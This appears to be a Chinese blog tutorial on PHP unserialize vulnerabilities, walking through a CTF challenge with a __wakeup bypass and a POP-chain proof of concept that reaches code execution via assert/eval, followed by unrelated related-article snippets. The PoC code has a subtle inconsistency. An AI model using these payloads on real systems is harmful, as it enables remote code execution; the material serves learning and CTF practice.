php反序列化简叙
0x01 php简单的反序列化
这题是在网上看到的,原题连接不太了解,但是源码题目给了出来,稍微下文件名和排版在本地测试
<?php
class SoFun{
protected $file='ser.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false){
show_source(dirname (__FILE__).'/'.$this ->file);
}
}
else{
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='ser.php';
}
function __toString(){
return '' ;
}
} if(!isset($_GET['file'])){
show_source('ser.php');
}
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file );
}
?>
题目的相关魔术方法调用时机
__destruct()类似于c中的析构函数,在对象被销毁时调用
__toString()在这里没啥用
__wakeup()在进行反序列化的时候调用
__destruct()中读取了文件,最终用它读取flag, __wakeup()把读取的文件的对应变量变成当前文件
__wakeup()在__destruct()前面调用
那么目的是绕过__wakeup()进行__destruct()操作
对应wakeup(),存在以下问题,当序列化的字符串中描述的类的成员个数和 {} 内的成员个数不同的时候不会被调用
首先构造payload
<?php
class SoFun{
protected $file='hello.txt';
public $a = "a";
}
$add = new SoFun;
echo base64_encode(serialize($add));
运行生成base64

先将它base64解码,然后删除{}中a的对应序列(注意:因为protect和private存在不可见字符,所有用base64,或url编码输出)

最终再base64编个码,包含进来即可,我hello.txt文件的内容即之前做题留在上面的文件(所有内容不重要,重要的是漏洞利用>_<)

0x02 PHP反序列化的进一步利用
php反序列化的知识点i春秋上的一篇文件写的非常详细
https://bbs.ichunqiu.com/thread-39169-1-1.html
那么结合最后的typecho的反序列漏洞,模仿着写了一个简易的代码
<?php
class C1{
function __construct($key, $word){
$sijidou = $key . $word;
}
}
class C2{
private $a2;
function __toString(){
echo $this->a2->ying;
return "hello";
}
}
class C3{
private $fun;
private $parm;
function __get($key){
$this->run();
return null;
}
function run(){
call_user_func($this->fun, $this->parm);
}
}
if(isset($_GET['ser'])){
$s = $_GET['ser'];
$arr = unserialize($s);
$class1 = new C1($arr['siji'],$arr['dou']);
}
else{
highlight_file("demo.php");
}
?>
这里是需要构造pop链,来达到最终执行run()方法中的call_user_func()来达到代码执行
构造思路是入口为ser的参数,该参数是数组
ser数组的 "siji" 和 "dou" 两个键值対会被C1的中的__construct调用
该函数把参数当做字符串进行字符串使用,于是可能会调用到C2的__toString魔术方法
__toString方法里面调用了私有成员的方法,因此又可以利用C3的__get魔术方法
而 __get魔术方法会调用到run(),从而达到代码执行
附上我写的poc
<?php
class C1{
function __construct($key, $word){
$sijidou = $key . $word;
}
} class C2{
private $a2;
function __toString(){
$this->a2->ying;
return "hello";
}
function add(){
$this->a2 = new C3();
}
} class C3{
private $fun = "assert";
private $parm = "phpinfo()";
function __get($key){
$this->run();
}
function run(){
eval($this->a3);
}
}
$class2 = new C2();
$class3 = new C3();
$class2->add();
$exp = array('siji' => $class2, 'dou' => 'dou');
echo urlencode(serialize($exp)); ?>
利用成功,成功执行phpinfo

这里自己因为一些原因把该题目挂到了自己的服务器上,大家可以试着找找其中的flag(注:请执行看看phpinfo里面的禁用的函数)
php反序列化简叙的更多相关文章
- C#学习笔记(1) --简叙.net体系结构
1 C#与.NET的关系 (1) C#是专门为与Microsoft的.Net Framework一起使用而设计的. (2) C#是一种基于面向对象设计方法的的语言. (3) 需要注意的是,C#就其本身 ...
- STL 里面的几个容器简叙
出处:http://blog.csdn.net/niushuai666/article/details/6654951 list1.list的成员函数push_back()把一个对象放到一个list的 ...
- AMD单双桥时序简叙
芯片组(双桥)时序 VBAT :RTC电路的供电3V(RTC电路有问题会导致没复位或不跑码等故障) RTCCLK :晶振起振给南桥提供32.768KHz频率(RTC电路有问题会导致没复位或不跑码等故障 ...
- iOS面试题集锦
一.前言部分 文中的问题多收集整理自网络,不保证100%准确,还望斟酌采纳. 1.怎样防止指针的越界使用问题? 答案: 1 .防止数组越界,必须让指针指向一个有效的内存地址, 2. 防止向一块内存中拷 ...
- 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
==Ph4nt0m Security Team== Issue 0x03, Phile #0x05 of 0x07 |=----------------- ...
- Android SQLite总结[转载]
[转载] :http://blog.163.com/zqy216_2008/blog/static/4119371820119954812509/ 最近在做的项目涉及到了SQLite,大学时没有好好学 ...
- iOS知识点集合--更改(2)
3.nsmutablearray *a 如果直接赋值 a = @[@"d",@""]; 这个时候a 是不可变的 字典也是如此 2.如果接口调用错误的话 打印re ...
- 对称加密之AES加密详解
最近有人问我AES对称加密是啥,我回答了个大概,发现自己不能清晰的讲出来,特此记录,以供学习 一.对称加密 对称加密是最快速.最简单的一种加密方式,加密(encryption)与解密(decrypti ...
- HighCharts基本使用
一.简叙 HighCharts是一个非常强大的画图插件,在以后的工作汇报,数字展示,它将是一把利器.既然是插件,那么就有它的使用规则,我们只需要遵循它的使用规则,就可以画出我们想要的展示效果了.期待吗 ...
随机推荐
- mysql 架构~MGR监控手段
一 简介 今天咱们来聊聊MGR的监控 二 监控 方面: 1 节点mysql进程监控 2 节点mysql复制进程的监控 ...
- python cookbook 笔记二
去重和排序: #coding=utf-8 def dedupe(items): seen = set() for item in items: if item not in seen: yield i ...
- LibreOJ 题解汇总
目录 #1. A + B Problem #2. Hello, World! #3. Copycat #4. Quine #7. Input Test #100. 矩阵乘法 #101. 最大流 #10 ...
- 记录entityframework生成的sql语句
Interceptors (EF6.1 Onwards) Starting with EF6.1 you can register interceptors in the config file. I ...
- Word 2017 快捷键
Ctrl + D: 呼出[字体] Ctrl + S: 进行[保存] Ctrl + F: 呼出[导航] Ctrl + D: 呼出[字体] Ctrl + B: 进行[加粗] Ctrl + G: 呼出[查找 ...
- jenkins cobertura单元测试
1.1 Maven 工程 pom.xml 修改 1.2 Build添加插件目标 此时构建项目,会在项目 targer/site/cobertura 目录中生成 html 与 xml ...
- GitHub学习一-本地电脑与GitHub绑定
1.创建ssh key $ ssh-keygen -t rsa -C "your_email@youremail.com"安装完git,右键git bash here,创建ssh ...
- android录音实现不再担心—一个案例帮你解决你的问题
最近有小伙伴经常android的录音怎么实现,有没有相关的案例.今天给大家推荐一个android中实现录音和播放的小案例. 效果图: 一.实现录音的 Service 关键代码: // 开始录音 pub ...
- cf792b循环链表
头尾链接一下就好, /* 1 2 3 4 5 6 7:4 5 6 7 1 2 3:2 3 5 6 7 1:5 6 7 1 3:6 7 1 3:1 3 7 */ #include<bits/std ...
- pytest十:用例 a 失败,跳过测试用例 b 和 c 并标记失败 xfail
当用例 a 失败的时候,如果用例 b 和用例 c 都是依赖于第一个用例的结果,那可以直接跳过用例 b 和 c 的测试,直接给他标记失败 xfail用到的场景,登录是第一个用例,登录之后的操作 b 是第 ...